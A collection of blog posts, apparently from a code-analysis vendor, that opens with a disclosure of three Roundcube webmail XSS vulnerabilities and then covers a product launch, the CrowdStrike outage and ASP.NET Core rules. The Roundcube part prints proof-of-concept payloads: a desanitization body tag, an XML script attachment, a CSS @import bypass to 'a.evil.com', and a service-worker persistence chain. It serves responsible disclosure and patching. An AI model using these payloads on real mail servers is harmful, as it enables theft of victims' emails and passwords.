When a victim views a malicious email in Roundcube sent by an attacker, the attacker can execute arbitrary JavaScript in the victim's browser.
Attackers can abuse the vulnerability to steal emails, contacts, and the victim's email password as well as send emails from the victim's account.
In October 2023, ESET Research reported that a similar vulnerability was actively used by the APT group Winter Vivern to attack European government entities.
Roundcube administrators should update to the patched version 1.6.8 or 1.5.8 as soon as possible.
All discovered issues are tracked as CVE-2024-42008, CVE-2024-42009, CVE-2024-42010.

Introduction

Roundcube is a popular open-source webmail software that enables users to check their emails right in their browser without needing dedicated client software. It is included by default in the server hosting panel cPanel leading to millions of installations around the globe, according to Shodan. It is also used by universities as well as government agencies.

Government employees' emails are a valuable target for Advanced Persistent Threat (APT) groups engaged in espionage. ESET Research and Insikt Group both report documented attack campaigns by the Winter Vivern APT in 2023, targeting Roundcube servers of the Ukrainian military, Georgian Defense Ministry, and other European entities. These attacks abused a similar Cross-Site Scripting (XSS) zero-day vulnerability in Roundcube to steal emails or passwords from victims who viewed a malicious email.

In this article, we explain the vulnerabilities we discovered in Roundcube, show how attackers could exploit them for a higher impact, and describe how similar vulnerabilities in web mailers can be prevented.

Impact

Roundcube in version 1.6.7 and below, and in version 1.5.7 and below, is vulnerable to the XSS vulnerabilities CVE-2024-42009 and CVE-2024-42008, which have critical and high ratings respectively. These allow an unauthenticated attacker to steal emails and contacts, as well as send emails from a victim's account. All the victim user has to do is view a malicious email in Roundcube.

Attackers can gain a persistent foothold in the victim's browser across restarts, allowing them to exfiltrate emails continuously or steal the victim's password the next time it is entered. For a successful attack, no user interaction beyond viewing the attacker's email is required to exploit the critical XSS vulnerability (CVE-2024-42009). For CVE-2024-42008, a single click by the victim is needed for the exploit to work, but the attacker can make this interaction unobvious for the user.

This video demonstrates how an attack could look like using a Roundcube test instance:

Watch the video

We suspect that dedicated attackers like Winter Vivern will abuse these vulnerabilities at some point, as they have already shown that they can discover and exploit similar XSS vulnerabilities. That is why we strongly advise Roundcube administrators to apply the latest patch, version 1.6.8, or 1.5.8, as soon as possible to protect their organization's users. Users who suspect that they are affected should change their email password and additionally clear the site data of the Roundcube site they are using in their browser.

Technical Details

In this section, we explain the root cause of the two XSS vulnerabilities we discovered: Desanitization and unsafe Content-Types. We also detail holes in the CSS filtering of Roundcube that can be abused to aid an XSS attack and how the unsafe Content-Type issue can be abused by attackers to gain additional persistence in the victim's browser.

Desanitization in Inline Email Rendering (CVE-2024-42009)

We are all used to HTML emails with nice-looking formatting and styles. Roundcube needs to sanitize the HTML before rendering it in your browser to prevent XSS attacks. Roundcube uses washtml for this, a custom server-side sanitizer. We did not find an issue in the sanitization logic itself. Instead, we looked into modifications after sanitization that could lead to Desanitization, when sanitized HTML is made harmful again.

We discovered a Desanitization issue when emails are prepared for display in the message_body() function. The issue can be abused to smuggle an XSS payload in an email through the sanitizer undetected, which can become a new event handler attribute because of a later modification.

public static function message_body($attrib)
{
  // ...
  // Parse the part content for display
  // [1] sanitize
  $body = self::print_body($body, $part, $body_args);
  // ...
  if ($part->ctype_secondary == 'html') {
     // [2] modify -> desanitization
     $body = self::html4inline($body, $body_args); 
  }
  // [3] desanitized html is displayed
  $out .= html::div($body_args['container_attrib'], $plugin['prefix'] . $body);
  // ...
}

At [1], the HTML body of the mail is sanitized inside of print_body(), which uses washtml for the sanitization. The return value is a full HTML document though. Roundcube does not use an iframe to render the HTML email separate from the main page. Instead, it is transformed into an HTML snippet to become a part of the whole Roundcube page in html4inline() [2]. We will see that this is dangerous since the modifications performed here can break the sanitized HTML. Finally, the desanitized HTML is appended to the output buffer $out and later rendered [3].

The html4inline() function transforms a full HTML document into a snippet by removing <!DOCTYPE>, <head>, and other elements. It replaces <body> with <div>, as the main page already has a <body> element. There is also some logic to remove the legacy attributes bgcolor, text, and background from the <body> element. They are replaced with equivalent CSS inside a newly added style attribute.

The <body> element and its attributes are parsed using a simple regex. The input of html4inline() is already sanitized, so all stray angle brackets in attributes or elsewhere are encoded or removed, making this a safe approach.

public static function html4inline($body, &$args)
{
  //...
  $regexp = '/<body([^>]*)/';

  // Handle body attributes that doesn't play nicely with div elements
  if (preg_match($regexp, $body, $m)) {
    $style = [];
    $attrs = $m[0];
    // ...
  }
}

The $attrs variable now contains all attributes of <body> as a string. Another regex extracts each of the legacy attributes from $attr. Zooming in on the bgcolor regex, we see that it performs attribute parsing for all possible delimiters: double, single, or no quotes.

/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i

But this regex is faulty! It does not check if it happens to match inside an attribute value or not. The text bgcolor=something could easily show up inside of another attribute. The regex also does not check if the matched attribute value starts and ends with the same quote type or no quote at all. This incorrect parsing can be abused to break the otherwise safe HTML, as everything matching the regex is removed. The breakage occurs when an uneven number of quotes is removed. Subsequent attribute values can escape and become new attributes like event handlers with an XSS payload.

Here is an example of this: bgcolor is matched inside an attribute value, and the closing quote is also matched and removed. The hidden onload inside the name attribute becomes a new attribute because of the quote imbalance.

<body title="bgcolor=foo" name="bar onload=alert(origin)">
preg_replace() --->
<body title=" name="bar onload=alert(origin)">

Because html4inline() is used after sanitization, malicious attributes that are introduced this way are not removed. Later, the <body> is transformed into a <div> by simply replacing the prefix <body with <div. An attacker needs to adapt their XSS payload to work with <div>, so onload does not work. Instead, onanimationstart can be used with an existing animation from the Bootstrap CSS framework loaded in Roundcube.

<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
  Foo
</body>

There are no further mitigations used like a Content-Security-Policy (CSP) or a sandboxed iframe. This simple email body is enough to execute JavaScript in the victim's browser and access their emails. And it is not the only XSS vulnerability we discovered.

Unsafe Content-Types for Attachments (CVE-2024-42008)

Roundcube has two ways to access attachments: an Open button and a Download button. Both buttons open the same link in a popup, but the Download button adds a _download=1 query parameter.

https://roundcube.example?_task=mail&_mbox=INBOX&_part=2&_action=get&_uid=1337&_download=1

Depending on the presence of this query parameter, the Content-Disposition header is set to attachment or inline. This header tells the browser whether a resource should be downloaded instead of displayed in the browser. The filename, MIME type, and charset of the attachment are also sent as headers to the browser.

$rcmail->output->download_headers($filename, [
    'type' => $mimetype,
    'type_charset' => $attachment->charset,
    'disposition' => !empty($_GET['_download']) ? 'attachment' : 'inline',
]);
// ...
$attachment->output($mimetype);

Displaying an arbitrary attachment with an arbitrary MIME type in the browser can lead to XSS, for example when the attachment is an HTML file. There are almost no checks in place for the MIME type here, even though it comes from a potentially malicious email. For text/html and image/svg+xml, the washtml sanitizer is used again. But for all other MIME types, Roundcube displays the attachment inline and without changes. Attackers can abuse this with an XML file as well as other MIME types to trigger XSS.

<something:script xmlns:something="http://www.w3.org/1999/xhtml">
    alert(origin)
</something:script>

This issue is not new. It is tracked as CVE-2020-13965 and was supposedly fixed by disabling the Open button for text/xml files. For other dangerous MIME types, the Open button was already disabled. However, the unsafe behavior of displaying all attachments in the browser is still there. Users can just no longer click anywhere to navigate to the link that triggers the XSS. But what if an attacker just adds the necessary link to the email body and convinces the victim to click it? Then the attack would work again.

As seen above, attachment links have a simple format. They contain the IMAP UID, folder, and MIME part number to identify the attachment. Usually, the folder is called "INBOX" and the part number is 2, with part 1 being the HTML body of the email. So an attacker only needs to guess or leak the UID somehow, as a victim probably would not click on hundreds of links with different UID values.

In our other blog posts about web mailers like ProtonMail, we have seen that CSS in the email body can be abused to leak attribute values on the current page. An attacker can try the same with Roundcube to leak the UID, which is part of a link on the page.

CSS Filter Bypass (CVE-2024-42010)

The main prevention against CSS leaks in Roundcube is not a CSP, but only a regex-based blocklist filter on the CSS text. The mod_css_styles() function tries to detect dangerous functions or rules, including url() or @import which can make connections to a remote server. String blocklists are often bypassed by abusing the syntax rules of the language, for example, comments or whitespace. That is probably why Roundcube deletes all characters except a-z(:; before performing some of the blocklist checks.

public static function mod_css_styles($source, $container_id, $allow_remote = false, $prefix = '')
{        
  // ...
  $stripped = preg_replace('/[^a-z\(:;]/i', '', $source);
  $evilexpr = 'expression|behavior|javascript:|import[^a]' . 
      (!$allow_remote ? '|url\((?!data:image)' : '');
  if (preg_match("/{$evilexpr}/i", $stripped)) {
    return '/* evil! */';
  }
  // ...
}

To block @import rules, the word import is blocked, except when it is followed by an a to avoid blocking the valid !important keyword. This interesting regex can be bypassed, precisely because it is operating on the stripped version of the CSS, not the full CSS. An attacker can simply choose a domain name for their server that starts with an a and trick the check into seeing importa, which is allowed.

regex:    import[^a]
input:    @import "//a.evil.com/leak"
stripped: importaevilcomleak

After the blocklist check, the original unstripped CSS is used for rendering the email. The smuggled @import can now import arbitrary unfiltered CSS to leak the UID from an attribute on the page using the known import-based CSS leak technique.

With the same CSS filter bypass, the attacker can add styles that make a link in the email very large and overlay other elements. For demonstration purposes, we have colored this overlaid link in red:

As soon as the victim clicks somewhere in the email view portion of the Roundcube page, the overlayed link is clicked instead. The link points to the attacker server, which redirects the victim to the malicious attachment using the now leaked UID, triggering the XSS payload.

Service Workers for Persistent XSS

We have seen that an old issue of unsafe Content-Type headers can be combined with a new CSS leak to trigger a Stored XSS vulnerability. A usual Stored XSS vulnerability triggers every time the victim views the stored payload. In the case of emails, this is probably only once and then the email gets deleted, meaning that the attacker can also only steal emails once.

Unfortunately, in the case of Roundcube, motivated attackers can go a step further and achieve persistence to steal emails long after the XSS payload has been triggered. They can combine the building block we already have – unsafe Content-Types for attachments – with service workers.

A service worker is a script that the browser executes for every HTTP request on the page. It can be registered by any normal JavaScript on the page. The service worker can change the response to intercepted requests, usually for caching purposes. A malicious service worker, however, can abuse this power to add new scripts to the server's HTML response. Service workers are in effect across page loads and browser restarts, even if the worker is never registered again.

The service worker specification mitigates the risk of malicious service workers in multiple ways: A service worker script must be hosted on the same origin and served with a JavaScript Content-Type header. A Content-Security-Policy served together with the script applies to the script as well. Lastly, a service worker can only influence requests that are on the same or more nested path level than the path where the script was served.

All mitigations do not apply in the Roundcube case: Attackers can serve JavaScript files as email attachments on the Roundcube server, the same way they can serve a dangerous XML file. Roundcube does not use a CSP that could prevent the service worker registration. It also does not use paths for routing, only query parameters, so the attachment containing the service worker script is served at the root path.

Attackers can create a malicious service worker using one of the two XSS vulnerabilities, put the service worker script inside an email attachment, and use that attachment's URL for registration. The service worker can then add email- or password-stealing logic on every page load of Roundcube, as we have demonstrated in the Proof-of-Concept video above. This diagram summarizes the exploit steps:

Patches

The Roundcube maintainers fixed all findings in a straightforward way.

The Desanitization issue (CVE-2024-42009) was addressed by removing the post-processing step that caused the vulnerability.

 public static function message_body($attrib)
 {
   // ...
   $body = self::print_body($body, $part, $body_args);
   // ...
-  if ($part->ctype_secondary == 'html') {
-     $body = self::html4inline($body, $body_args); 
-  }
   $out .= html::div($body_args['container_attrib'], $plugin['prefix'] . $body);
   // ...
 }

Instead, the "legacy attribute to style" conversion was moved into the sanitization process as a hook named washtml_callback (40a4a71: program/actions/mail/index.php). The sanitizer uses more robust attribute parsing compared to the buggy regex and the attribute values are properly escaped, preventing any malicious attributes from breaking out.

Dangerous MIME types (CVE-2024-42008) are now converted to the harmless text/plain. Attachments are now also served with a restrictive CSP as an additional defense mechanism.

 public function download_headers($filename, $params = [])
 {
   // ...
+  if ($disposition == 'inline') {
+  if (preg_match('~(javascript|jscript|ecmascript|xml|html|text/)~i', $ctype)) {
+    $ctype = 'text/plain';
+  }
   // ...
+  // Use strict security policy to make sure no javascript content is executed
+  header("Content-Security-Policy: default-src 'none'");

The bypassable CSS filter (CVE-2024-42010) was improved by actually searching for @import and no longer operating on stripped CSS, among other changes.

 public static function mod_css_styles($source, $container_id, $allow_remote = false, $prefix = '')
 {
   // ...
   $source = self::xss_entity_decode($source);
-  $stripped = preg_replace('/[^a-z\(:;]/i', '', $source);
-  $evilexpr = 'expression|behavior|javascript:|import[^a]' . (!$allow_remote ? '|url\((?!data:image)' : '');
 
-  if (preg_match("/{$evilexpr}/i", $stripped)) {
+    // No @import allowed
+    // TODO: We should just remove it, not invalidate the whole content
+    if (stripos($source, '@import') !== false) {
       return '/* evil! */';
     }

If you happen to develop web mailer software yourself, you can take multiple defense-in-depth measures to better protect against XSS: Sanitize the untrusted HTML with a client-side sanitizer like DOMPurify to protect against mXSS. Avoid any modifications of the sanitized HTML to prevent Desanitization. You can then render the HTML inside a sandboxed iframe, which disables JavaScript inside the iframe. This also prevents malicious CSS in the email from changing the surrounding page or leaking data from the page, as the iframe is a completely separate document. We also recommend using a strong CSP with nonces or hashes to further mitigate any HTML injections and prevent information leaks.

Timeline

We want to thank the Roundcube maintainer Aleksander Machniak for the quick response and for publishing patches for the issues.

Date	Action
2024-06-18	We report all issues to the Roundcube maintainers.
2024-06-18	The maintainers acknowledge our report.
2024-07-17	The maintainers send patches for review.
2024-07-18	We send feedback for the patches.
2024-08-04	The maintainers publish patched Roundcube versions 1.6.8 and 1.5.8.
2024-08-05	We publish an initial blog post, withholding details about the vulnerabilities.
2024-08-05	MITRE publishes CVE-2024-42008, CVE-2024-42009, and CVE-2024-42010.
2024-08-27	We update this blog post with full technical details.

Summary

In this article, we showcased multiple vulnerabilities in Roundcube and how attackers could combine them to continuously steal emails from unsuspecting victims. Threat intel by ESET Research and Insikt Group about the APT Winter Vivern confirms that the abuse of these vulnerabilities for cyber espionage is a real threat and not just speculation. We took a deep dive into the code, figuring out the source of the vulnerabilities and also how they were fixed. Finally, we gave some general recommendations on how to prevent XSS vulnerabilities in web mailing software.

The source code of projects like Roundcube, which has been around for almost 20 years, can be very convoluted, which increases the risk of security vulnerabilities. Adopting Code Quality principles can shed light on the dark corners that have emerged over time. By ensuring that the code remains maintainable, reliable, and secure, developers can more easily identify and address complex security issues such as Desanitization that are often hidden in convoluted code.

Now Introducing, SonarQube Cloud Enterprise and SonarQube Cloud Team

Andrew Osborne — Wed, 31 Jul 2024 05:00:00 GMT

TL;DR overview

SonarQube Cloud now offers Enterprise and Team plans, expanding beyond the free tier to provide larger organizations with advanced reporting, portfolio-level analytics, and enhanced security analysis features.
The Enterprise plan includes organization-wide dashboards, advanced Quality Gate configurations, and dedicated support—addressing the governance and compliance requirements of larger engineering teams.
The Team plan provides a middle tier with pull request analysis, branch analysis, and quality gate enforcement for growing teams that need more than the free offering without full enterprise governance.
The expanded plan structure reflects SonarQube Cloud's evolution from a developer tool to an organization-wide code quality platform.

Introduction

Since its launch in 2018, SonarQube Cloud’s growth has been exciting and impressive. Today, over 3.6B lines of code (LOC) are continuously analyzed for issues relating to reliability, security, and maintainability across 179k active projects and 16k companies.

SonarQube Cloud analyzes the quality and security of source code for both human-developed and AI-assisted code at scale.

Introducing new plans for SonarQube Cloud

Today we are excited to expand our SonarQube Cloud offering with the availability of two new plans, SonarQube Cloud Enterprise and SonarQube Cloud Team. With the new Enterprise and Team plans for SonarQube Cloud, Sonar empowers development teams of all sizes to deliver Code Quality with confidence.

The SonarQube Cloud Enterprise plan delivers a range of advanced features and is now available via an early access program. It delivers single sign-on (SSO) via SAML, enterprise hierarchy, management reporting, portfolios, org-wide project configuration, and support for enterprise-specific languages such as COBOL.

We intend to build upon these features in the coming months, adding enterprise billing, scalable token management, synchronized access management, and US hosting (to complement the existing EU hosting). In addition, the Enterprise plan includes access to commercial support and a dedicated SLA. We welcome you to contact us to learn more about the value these features bring, and to try them for yourself.

For new SonarQube Cloud projects, the following features will be exclusively available with the SonarQube Cloud Enterprise plan: enterprise languages (ABAP, COBOL, RPG, PL/I, Apex), GitHub Advanced security integration, org-level Project management, and Quality Profile delegate permissions.

More about the new SonarQube Cloud Enterprise features

SSO (Single Sign-On) authentication through SAML delivers increased security and a single source of truth for user authentication at the enterprise level.

Today, we cover Microsoft Entra ID as well as other providers (IdPs) such as Okta and JumpCloud. This will allow enterprise users to connect through their company’s centralized identity provider. Authentication via the DevOps platform will still be available.

Enterprise hierarchy delivers the ability to group organizations into an enterprise, independently from the DevOps platform(s). This solves the challenge for large enterprises that have multiple organizations and need a way to manage these. It also paves the way for portfolios to be created across multiple organizations.

Portfolios enable managers to group together projects into a portfolio and identify which needs focus and in what respect. Providing a bird's eye view of projects that may span organizations within an Enterprise, managers can be directed toward the projects needing the most attention.

Management reporting offers Project and Security reports similar to those found in SonarQube Server.

It delivers a view of the state of an enterprise’s projects and highlights any issues you may have from the point of view of a range of industry security metrics (PCI DSS, OWASP, and CWE Top 25).

Org-wide project configuration eases the pain of onboarding and managing high volumes of projects. This feature allows users to configure default settings that can be applied to all projects at onboarding.

The SonarQube Cloud Team plan delivers essential capabilities for small development teams and businesses, both from an ecosystem integration and collaboration perspective. It provides a reliable SaaS solution delivering branch analysis, pull request decoration, and support for 28 languages and frameworks.

With the Team plan, developers can scan both public and private projects for actionable insights that enable consistent and efficient Code Quality delivery all in a simple, fast time-to-value SaaS model hosted by Sonar. Teams also have control to define the quality standard they want their codebase to follow.

Simplified pricing based on lines of code benefits both Team and Enterprise plans. Additionally, SonarQube Cloud is now available on AWS Marketplace.

We will continue to offer our Free SonarQube Cloud plan to support open-source projects.

Next Steps

We are excited to continue investing in SonarQube Cloud to equip teams and enterprises to deliver Code Quality. We value your continued support and, as always, encourage you to engage with us via our Community and public roadmap. Your feedback is a gift.

If you have any questions or would like to learn more about the new enterprise features and how to try them, reach out to your account manager or contact us here to discover more. We would love to continue the conversation.

What Code Issues Caused the CrowdStrike Outage?

Sonar — Thu, 25 Jul 2024 16:00:00 GMT

Update 07AUG2024: CrowdStrike released a technical root cause analysis that confirms that an array out-of-bounds read, very similar to our example, caused the issue.

TL;DR overview

The CrowdStrike outage was caused by a code issue in a rapid-response content update, crashing the Falcon sensor and triggering a Windows Blue Screen of Death on 8.5 million machines.
The root cause was a mismatch between the number of fields expected by the code and the number provided in the content update configuration.
This incident demonstrates that even security-focused companies can ship critical bugs when content updates bypass standard testing and validation pipelines.
Automated static analysis detecting null pointer dereferences and bounds checking violations could have flagged this exact class of error before deployment.

On 19 July 2024, an estimated 8.5 million Windows computers worldwide crashed and were unable to reboot, stuck in a blue screen of death. The outage impacted businesses and governments around the globe, affecting a vast majority of industries in transportation, financial services, healthcare, and more.

Not unexpectedly, this immediately raised fears of a large-scale cyber attack. Was this the long-feared global hacker attack aimed at disrupting our computer-based world and causing chaos worldwide? Thankfully, no. Within hours after the outage, CrowdStrike confirmed that a faulty update in their endpoint protection software, specifically its Falcon Sensor, caused the issue.

While the affected source code is not published, this blog post summarizes what CrowdStrike has publicly confirmed and examines code-level problems that could have led to this global outage. Our goal is to shed light on what type of bugs can lead to such serious software reliability issues in general and why catching code issues early in the development process is as important as catching security vulnerabilities.

What Happened: What we Know so Far (25JULY2024)

CrowdStrike Falcon Sensor is a lightweight agent that collects endpoint data and protects a computer from cyberattacks. To monitor system processes, detect malicious activity, and respond to threats in real time, it needs access to low-level system functions. This requires it to run a Windows kernel driver, which is usually written in C and C++. Since it should not be allowed to disable the protection easily, this driver is marked as a Boot-Start driver, which makes it mandatory for Windows startup.

This means that Falcon becomes a very important, sensitive component of the operating system once installed. To recap:

The kernel driver is required for Windows to boot.
The kernel driver has extensive capabilities to interact directly with hardware, manage system resources, and access protected memory.
The kernel driver influences the operating system's core behavior.

Due to the immense responsibility and trust put in kernel drivers, they usually must surpass extensive testing via Microsoft’s Windows Update program. Driver packages that pass the tests of the Windows Hardware Lab Kit are digitally signed by Microsoft and marked as trustworthy. Although Falcon’s driver itself is also signed, complete testing via the Windows Hardware Lab Kit requires time. In order to quickly respond to novel techniques of cyber threat actors, Falcon needs to employ a more flexible approach to make changes to its kernel driver. For this purpose, CrowdStrike provides Rapid Response Content that is delivered in the form of a content configuration update. These updates contain Channel Files that the driver dynamically loads. These files influence the way how the kernel drivers work.

The update that caused the outage contained a faulty channel file, which resulted in the kernel driver reading memory out-of-bounds [source]. While a user-land application would simply crash by an issue like this, a kernel driver sitting at the heart of the operating system causes the whole system to crash – resulting in the infamous blue screen we have seen during the outage.

Exploring Potential Root Cause in the Code

The incident has intrigued experts around the world who were interested in determining the exact root cause of this memory out-of-bounds issue. Although some of these were already proven to be wrong, and CrowdStrike has not disclosed the faulty source code, let’s have a look at scenarios that may have caused an issue like this.

Null Pointer Dereference

A pointer in C and C++ is a variable that stores a memory address, allowing direct manipulation of data and efficient memory management. A pointer to null, also known as a null pointer, is created by initializing a pointer object to 0, NULL, or in the case of C++ nullptr. A null pointer does neither point to an object nor to valid memory, and as a consequence dereferencing or accessing the memory pointed by such a pointer is undefined behavior, which usually results in a whole system crash for a kernel driver:

int deref() {
  int* ptr = 0;
  // Noncompliant: dereference of a null pointer
  return *ptr;
}

In addition to using the * operator, accessing a member of a structure (using ->) or an element of an array (using []) also dereferences the pointer and very likely causes a crash if performed on a pointer to null:

struct Aggregate {
  int x;
  int y;
};

int memberAccess() {
  struct Aggregate* ptr = 0;
  // Noncompliant: member access on a null pointer
  return ptr->x; 
}

You can find out more about Null Pointer Dereferences in our S2259 rule documentation in product. While the security community suspected a Null Pointer Dereference behind the outage at the beginning [source], this was later proven wrong [source]. Rather, it is suspected that an uninitialized variable could be the root cause.

Uninitialized Variables

Local variables in C and C++ must be declared to allocate memory and can optionally be initialized with a specific value upon declaration. A local variable of any built-in type (such as int, float, and pointers), declared without an initial value, is not initialized to any particular value as this process incurs a slight computational overhead. Consequently, if no value is assigned to such a variable first, the variable holds an arbitrary value left in its memory location by previous program operations, likely resulting in unintended behavior:

int addition() {
  // x is not initialized
  int x;  
  // Noncompliant: value of x undefined
  return x + 10;
}

int dereference() {
  // p is not initialized
  int* p;
  // Noncompliant: value of p undefined
  return *p; 
}

Similarly, structures that simply aggregate variables of built-in types, such as arrays or struct/class types without a constructor, will not initialize their members when declared without an initializer:

struct Aggregate {
  int i;
  float f;
};

void aggregates() {
   // each element of array is not initializer
  int* intArray[5];
  // members aggr.i, agrr.f are not initialized
  Aggregate aggr; 
  // members of each element are not initialized
  Aggregate aggrArray[2]; 
}

Finally, allocating objects of builtin or such aggregates types on the heap also does not initialize their values:

void usingMalloc() {
  // each of 10 allocated integers is not initialized
  int* intArr = (int*)malloc(sizeof(int) * 10);
}

This also applies when new is used in C++:

void usingNew() {
  // members of allocated Aggregate are not initialized
  Aggregate* aggrPtr = new Aggregate;   
  Aggregate* aggrArr = new Aggregate[5]; 
}

You can find out more about uninitialized variables in our S836 rule documentation in product.

The lack of variable initialization is one type of issue that can lead to out-of-bounds memory reads, which is mentioned in the preliminary post-incident review release by CrowdStrike [source]. But other issues can lead to out-of-bounds memory reads as well. Let’s have a look at these issues in general.

Out-of-bound Memory Access

Arrays and buffers are contiguous blocks of memory accessed using numerical indices to reference individual elements. Array overruns and buffer overflows occur when memory access accidentally exceeds the boundary of the allocated array or buffer. These overreaching accesses cause some of the most damaging and difficult-to-track defects. Not only do these faulty accesses constitute undefined behavior, but they frequently introduce security vulnerabilities, too.

This type of issue can, for example, occur when referencing elements of an array:

void access_exceeds(void) {
  int id_sequence[3];
  id_sequence[0] = 100;
  id_sequence[1] = 200;
  id_sequence[2] = 300;
  // Noncompliant: memory access is out of bounds
  id_sequence[3] = 400;
  // Accessed memory exceeds upper limit of memory block
}

In a similar fashion, a pointer can access out-of-bound memory:

void access_precedes(int x) {
  int buf[100];
  int *p = buf;
  --p;
  // Noncompliant: memory access is out of bounds
  p[0] = 9001;
  // Accessed memory precedes memory block
}

Furthermore, unsafe calls to functions like memcpy may introduce out-of-bound memory access:

void memcpy_example(void) {
  char src[] = {1, 2, 3, 4};
  char dst[10];
  // Noncompliant: memory copy function accesses out-of-bound array element
  memcpy(dst, src, 5);
}

You can find out more about out-of-bound memory access in our S3519 rule documentation in product.

What We Can Takeaway from the CrowdStrike Outage

Bugs are an inevitable part of software development and regularly occur in code – all code is susceptible. Here, we illustrated how three different types of bugs can lead to an outage just like this one. While the affected source code is not published, it becomes evident that fixing all of these issues is essential.

This outage reminds us of the impact that even a small code issue can have – the financial damage alone could reach tens of billions of dollars [source].

A lot of attention is paid to software and code security, but reliability and maintainability issues are often neglected. You can talk to our team about finding and fixing these issues early in the development process here.

ASP.NET Core Web Apps

Denis Troller — Wed, 24 Jul 2024 14:00:00 GMT

TL;DR overview

SonarQube's analysis capabilities for ASP.NET Core web applications help developers catch common security and quality issues specific to the .NET web stack, including injection flaws and misconfigured authentication.
The blog explores real-world examples of issues SonarQube detects in ASP.NET Core projects—from SSRF risks and open redirect vulnerabilities to missing security headers and dangerous API usage patterns.
Developers building ASP.NET Core apps can integrate SonarQube for IDE to receive real-time feedback as they code, catching issues before they reach pull requests or production.
SonarQube supports ASP.NET Core across its full product line—SonarQube for IDE, SonarQube Server, and SonarQube Cloud—making security analysis a seamless part of .NET development workflows.

We are always looking at the best way to help ASP.NET Core developers deliver quality code. This year, we wanted to tackle problems developers face building ASP.NET Web Apps to complement the work we started last year for the Blazor framework.

We looked in detail at some big and small problems that can crop up when using ASP.NET Core, whether in ASP.NET MVC or ASP.NET WebAPI. It was not easy because ASP.NET Core is such a huge framework, but we devised a set of rules that tackle the biggest problems facing developers. We released those rules in May on SonarQube Cloud and in July with the 10.6 SonarQube Server release. Now it’s time to give you insight into where we thought we could best help you develop ASP.NET Web Apps in C#.

What defines quality for ASP.NET web apps?

There are many ways to evaluate the quality of a code base for ASP.NET web apps. We decided to take a stance on some issues we looked at and tackle some issues, such as

Controller Bloat
Endpoint performance
Metadata coherence and API documentation
Model definition and validation

Controller Bloat

We know that Controllers are an easily abused pattern. Lack of experience and tight deadlines sometimes lead to bad decisions that compound over time.

There are excellent open-source projects out there that help keep Controllers lean.

ApiEndpoints by Steve Smith (Ardalis), to keep the classes very focused,
MediatR by Jimmy Bogard
Wolverine by Jeremy D. Miller to delegate the work to handlers and keep your endpoints as simple as possible.

We would advise you to look at these, but not everyone can use them, and we all know from experience how easy it is to “just add one action on this Controller.”

To detect the slippery slope of adding actions, we added some rules targeting Routing and one rule detecting mixed responsibilities, which I want to focus on here. Rule S6960 identifies unrelated actions and helps you extract them into separate Controllers. Sonar will detect actions that do not share dependencies and group them for you so you can easily move them. This keeps your Controllers focused and limits useless service resolution.

Please provide feedback on this rule. We believe it is important, and it was tricky to implement. You can share your experience with the rule and your ideas in our community!

Endpoint Performance of ASP.NET Web Apps

ASP.NET Core is an astonishing work of performance, and unfortunately, developers often miss out on some of its benefits by not updating their code to leverage the latest advancements. Let’s take a closer look at a few of them.

Most developers know by now that Actions should be asynchronous. Still, it is common to miss opportunities to use async versions of existing methods, whether because we do not know async versions are available or because the code predates the appearance of the async version.

Rule S6966 identifies opportunities to switch to an asynchronous version of a method. It will help you keep your web server humming and take full advantage of the nature of ASP.NET Core.

By the way, this rule is not specific to ASP.NET web apps and will trigger in any async method, helping you whether you are a web developer or not!

For example, take this example. It is admittedly useless, but it will give you an idea of what we find:

public async Task Examples(Stream stream, DbSet<Person> dbSet)
{
    stream.Read(array, 0, 1024);           
    File.ReadAllLines("path");              
    dbSet.ToList();                         
    dbSet.FirstOrDefault(x => x.Age >= 18); 
}

Sonar will flag this and help you refactor it to

public async Task Examples(Stream stream, DbSet<Person> dbSet)
{
    await stream.ReadAsync(array, 0, 1024);
    await File.ReadAllLinesAsync("path");
    await dbSet.ToListAsync();
    await dbSet.FirstOrDefaultAsync(x => x.Age >= 18);
}

Another area where the .NET team made progress is resource pooling for HTTP connections. If you develop code that needs to call another Web API, you traditionally use HttpClient. Because making connections with HttpClient is expensive, .NET 8 introduced IHttpClientFactory. In addition to the performance concerns, many other concerns exist when using HttpClient, such as Configuration, Resiliency, and Logging. Rule S6962 detects the usage of HttpClient and recommends using the new IHttpClientFactory instead, helping you take advantage of its benefits.

Metadata coherence and API documentation

Writing a good REST API is no small feat. Once written, it needs to be well documented. Thankfully, we have OpenApi for that and great packages such as Swashbuckle. However, these tools rely on good metadata to do their job.

Developers often make mistakes when adding the required attributes to document your API or forget to add the metadata altogether. The only thing worse than no documentation is misleading documentation.

Rule S6968 detects missing ProducesResponseType attributes when you use the Swagger middleware. This ensures your API is properly documented from day one.

For example, this code:

[HttpGet("foo")]

public IActionResult MagicNumber() => Ok(42);

Will be detected, and you will be prompted to change it to:

[HttpGet("foo")]

[ProducesResponseType<int>(StatusCodes.Status200OK)]

public IActionResult MagicNumber() => Ok(42);

Model and validation

Model binding is a feature of ASP.NET Core that allows parsing the incoming request into complex objects. It makes your code much more readable and secure. However, some old code that does not take advantage of model binding might still be lurking. Rule S6932 detects when your code accesses the request directly instead of relying on model binding.

It will flag code such as:

public IActionResult Post()
{
    var name = Request.Form["name"];                                           // Noncompliant: Request.Form
    var birthdate = DateTime.Parse(Request.Form["Birthdate"]); // Noncompliant: Request.Form
    var origin = Request.Headers[HeaderNames.Origin];              // Noncompliant: Request.Headers
    var locale = Request.Query.TryGetValue("locale", out var locales)
        ? locales.ToString()
        : "en-US";                                                                                // Noncompliant: Request.Query
    // ..
}

You will be prompted to replace it with:

public record User
{
    [Required, StringLength(100)]
    public required string Name { get; init; }
    [DataType(DataType.Date)]
    public DateTime Birthdate { get; init; }
}

public IActionResult Post(User user, [FromHeader] string origin, [FromQuery] string locale = "en-US")
{
    if (ModelState.IsValid)
    {
        // ...
    }
}

A few more steps are needed to take full advantage of model binding. When using ASP.NET MVC, you should always check the property Model.IsValid to ensure the incoming request is parsed correctly and passes any validation you annotated your model with. If you fail to send the property, you could inadvertently send invalid values to the database, leading to:

Performance loss
Unclear error messages

Rule S6967 will detect actions missing the step to check the Model.IsValid property so that you can correct any mistake. Of course, this does not apply to ASP.NET WebAPI controllers (marked with the ApiController attribute) because the middleware does that for you and generates a proper HTTP status code response.

Finally, a good model needs to include proper annotation for validation. You should always make sure all properties reflect their nullability. If you do not, the model will pass validation but contain values you did not expect.

Rule S6964 will catch such errors, flagging code such as:

public class Product
{
    public int Id { get; set; }                         // Noncompliant
    public string Name { get; set; }
    public int NumberOfItems { get; set; }  // Noncompliant
    public decimal Price { get; set; }           // Noncompliant
